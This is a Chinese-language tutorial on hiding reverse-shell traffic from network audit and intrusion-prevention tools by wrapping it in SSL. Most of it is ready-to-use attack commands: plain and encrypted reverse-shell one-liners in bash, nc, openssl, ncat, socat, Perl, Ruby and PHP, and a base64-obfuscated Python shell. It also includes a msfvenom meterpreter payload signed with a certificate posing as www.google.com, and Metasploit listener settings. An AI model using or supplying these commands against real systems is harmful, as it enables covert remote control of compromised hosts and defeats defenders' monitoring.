1. 前言
为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征、行为特征,像metasploit在内网做横向渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来。
2. 常见的反弹shell
-
Server 端
监听23333端口:
nc -lvp 23333
-
Client 端
反弹shell的方式比较多,举两例,例如:
nc -e /bin/bash x.x.x.x 23333
bash -i >& /dev/tcp/x.x.x.x/23333 0>&1
还有其他起码十几种方法,如perl,python,php等等。
3. SSL加密的反弹shell
-
Server 端
使用openssl
命令,先生成证书,然后使用命令监听端口。
# Generate cert
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
# openssl
openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl req
命令主要的功能有,生成证书请求文件, 查看验证证书请求文件,还有就是生成自签名证书。
首先说明下生成证书请求需要什么:申请者需要将自己的信息及其公钥放入证书请求中。但在实际操作过程中,所需要提供的是私钥而非公钥,因为它会自动从私钥中提取公钥。另外,还需要将提供的数据进行数字签名
(使用单向加密),保证该证书请求文件的完整性和一致性,防止他人盗取后进行篡改。
主要命令选项:
-new :说明生成证书请求文件
-x509 :说明生成自签名证书
-key :指定已有的秘钥文件生成秘钥请求,只与生成证书请求选项-new配合。
-newkey :-newkey是与-key互斥的,-newkey是指在生成证书请求或者自签名证书的时候自动生成密钥,
然后生成的密钥名称由-keyout参数指定。当指定newkey选项时,后面指定rsa:bits说明产生
rsa密钥,位数由bits指定。 如果没有指定选项-key和-newkey,默认自动生成秘钥。
-out :-out 指定生成的证书请求或者自签名证书名称
-config :默认参数在ubuntu上为 /etc/ssl/openssl.cnf, 可以使用-config指定特殊路径的配置文件
-nodes :如果指定-newkey自动生成秘钥,那么-nodes选项说明生成的秘钥不需要加密,即不需要输入passphase.
-batch :指定非交互模式,直接读取config文件配置参数,或者使用默认参数值
可以通过man req
查看详细的openssl req
的详细信息。
使用ncat
命令(ncat
和nc
不同,ncat
是nmap出的一个nc
的增强版,一般需要单独安装。)
ncat -lvnp 4444 --ssl --ssl-cert=cert.pem --ssl-key=key.pem
使用socat命令,需要先生成证书,然后监听
# socat generate cert
openssl req -new -x509 -keyout test.key -out test.crt -nodes
cat test.key test.crt > test.pem
# socat
socat openssl-listen:4444,reuseaddr,cert=test.pem,verify=0,fork stdio
也可以使用metasploit,如下:
OpenSSL创建SSL/TLS证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt > www.google.com.pem && \
rm -f www.google.com.key www.google.com.crt
生成后门
msfvenom -p windows/meterpreter/reverse_winhttps \
LHOST=192.168.100.3 \
LPORT=443 PayloadUUIDTracking=true \
HandlerSSLCert=www.google.com.pem \
StagerVerifySSLCert=true \
PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o \
pentestlab.bat
设置监听器
配置侦听器时还需要使用两个附加选项。这是为了通知处理程序它将使用的证书(与有效负载相同),并在接收到连接时执行SSL证书验证。
HandlerSSLCert
StagerVerifySSLCert
set payload windows/meterpreter/reverse_winhttps
set LHOST 192.168.0.149
set LPORT 443
set HandlerSSLCert /home/kali/msf/www.google.com.pem
set StagerVerifySSLCert true
exploit
从有效负载将在目标主机上执行的那一刻起,一个加密的MeterMeter会话将打开,它将不允许主机入侵防御系统检查数据包并断开连接。
-
Client 端
在目标上执行的openssl 命令:
mkfifo /tmp/s; \
/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 172.16.1.174:1337 > /tmp/s; \
rm /tmp/s
ncat 也可以,但较少遇到
ncat --ssl 127.0.0.1 4444 -e /bin/bash
socat,第一行是比较常见和简单的形式,第二行是交互型的shell
socat exec:'bash' openssl-connect:127.0.0.1:4444,verify=0
socat exec:'bash -li',pty,stderr,setsid,sigint,sane openssl-connect:127.0.0.1:4444,verify=0
Perl
perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);$c=IO::Socket::SSL->new(PeerAddr=>"127.0.0.1:2332",SSL_verify_mode=>0);while(sysread($c,$i,8192)){syswrite($c,`$i`);}'
Ruby
ruby -rsocket -ropenssl -e 'c=OpenSSL::SSL::SSLSocket.new(TCPSocket.new("127.0.0.1","1234")).connect;while(cmd=c.gets);puts(cmd);IO.popen(cmd.to_s,"r"){|io|c.print io.read}end'
PHP
php -r '$ctxt=stream_context_create(["ssl"=>["verify_peer"=>false,"verify_peer_name"=>false]]);while($s=@stream_socket_client("ssl://127.0.0.1:4444",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode("\n",$o);$o.="\n";fputs($s,$o);}}'&
Python(需要自己解码修改然后重新编码)
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zLHNzbApzbz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkKc28uY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCnM9c3NsLndyYXBfc29ja2V0KHNvKQp5bj1GYWxzZQp3aGlsZSBub3QgeW46CglkYXRhPXMucmVjdigxMDI0KQoJaWYgbGVuKGRhdGEpPT0wOgoJCXluID0gVHJ1ZQoJcHJvYz1zdWJwcm9jZXNzLlBvcGVuKGRhdGEsc2hlbGw9VHJ1ZSxzdGRvdXQ9c3VicHJvY2Vzcy5QSVBFLHN0ZGVycj1zdWJwcm9jZXNzLlBJUEUsc3RkaW49c3VicHJvY2Vzcy5QSVBFKQoJc3Rkb3V0X3ZhbHVlPXByb2Muc3Rkb3V0LnJlYWQoKSArIHByb2Muc3RkZXJyLnJlYWQoKQoJcy5zZW5kKHN0ZG91dF92YWx1ZSkK'.decode('base64'))" >/dev/null 2>&1
注意:
服务端的命令和客户端的命令不一定需要相同,是可以混用的。比如用 ncat 的服务端,可以使用perl/python/socat 等方式链接,甚至 metasploit 的 reverse_perl_ssl 作为服务端监听的端口,也可以使用 ncat -ssl
进行连接,底层的原理都是一样的。